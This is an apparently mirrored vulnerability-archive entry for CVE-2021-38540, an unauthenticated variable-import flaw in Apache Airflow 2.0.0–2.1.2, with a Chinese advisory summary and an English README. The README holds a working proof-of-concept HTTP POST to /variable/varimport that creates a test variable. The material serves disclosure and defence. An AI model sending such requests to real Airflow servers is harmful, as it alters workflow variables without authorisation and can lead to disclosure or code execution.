关联漏洞
标题:Apache Airflow 授权问题漏洞 (CVE-2021-38540)Description:Apache Airflow是美国阿帕奇（Apache）基金会的一套用于创建、管理和监控工作流程的开源平台。该平台具有可扩展和动态监控等特点。 Apache Airflow 中存在授权问题漏洞，该漏洞源于产品的import端点缺少授权保护。攻击者可通过该漏洞在DAG中添加或修改变量导致拒绝服务、信息泄露或代码执行。以下产品及版本受到影响：Apache Airflow 2.0.0 版本至 2.1.2版本。
Description
Missing Authentication on Critical component CVE-2021-38540
介绍
# CVE-2021-38540 Proof of Concept
Missing Authentication on Critical component Known as CVE-2021-38540
# About this bug:
The variable import endpoint was not protected by authentication in Airflow >=2.0.0, <2.1.3. This allowed unauthenticated users to hit that endpoint to add/modify Airflow variables used in DAGs, potentially resulting in a denial of service, information disclosure or remote code execution. This issue affects Apache Airflow >=2.0.0, <2.1.3. [CVE-2021-38540]
# About this PoC:
This POC contains a request that will create a Variable named: kafka_captainhook_user under Admin>variables [ List Variables ]
# PoC Source:
```HTTP
POST /variable/varimport HTTP/2
Host: airflow.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------33976360506209910502051128075
Content-Length: 398
Origin: https://airflow.example.com
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
-----------------------------33976360506209910502051128075
Content-Disposition: form-data; name="csrf_token"
-----------------------------33976360506209910502051128075
Content-Disposition: form-data; name="file"; filename="variables.json"
Content-Type: application/json
{
"kafka_captainhook_user": "testCaptain"
}
-----------------------------33976360506209910502051128075--
```
# Refrences
https://nvd.nist.gov/vuln/detail/CVE-2021-38540
https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2@%3Cannounce.apache.org%3E
https://lists.apache.org/thread.html/rb34c3dd1a815456355217eef34060789f771b6f77c3a3dec77de2064%40%3Cusers.airflow.apache.org%3E
文件快照
[4.0K] /data/pocs/250c331f89ed355431a46cc8d21bb3c32b08b6fb
└── [1.9K] README.md
0 directories, 1 file
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮件到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对 POC 代码进行快照，为了长期维护，请考虑为本地 POC 付费/捐赠，感谢您的支持。